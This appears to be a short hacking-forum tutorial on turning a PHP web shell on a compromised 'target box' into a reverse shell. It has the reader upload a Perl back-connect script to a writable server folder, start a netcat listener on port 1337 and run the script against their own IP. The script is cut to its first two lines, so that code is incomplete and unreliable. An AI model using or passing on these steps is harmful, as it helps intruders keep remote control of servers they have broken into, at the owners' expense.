When you have lets say PHP shell on the target box.

Code

#!/usr/bin/perl
use IO::Socket;

Save this onto writable folder on the server and name the file dc.pl.

Then on your box download first

Code

https://eternallybored.org/misc/netcat/

[*]

And install. Then browse the dir for nc.exe.

1. Listen command on your box:

Code

nc -vv -l -p 1337

[*]

2. On your server you run the dc.pl file with:

Code

perl dc.pl your_box_ip 1337

[*]

And if you are not behind some super duper firewall and you have port 1337 open in your box you should see the new connection.

Have fun 😅
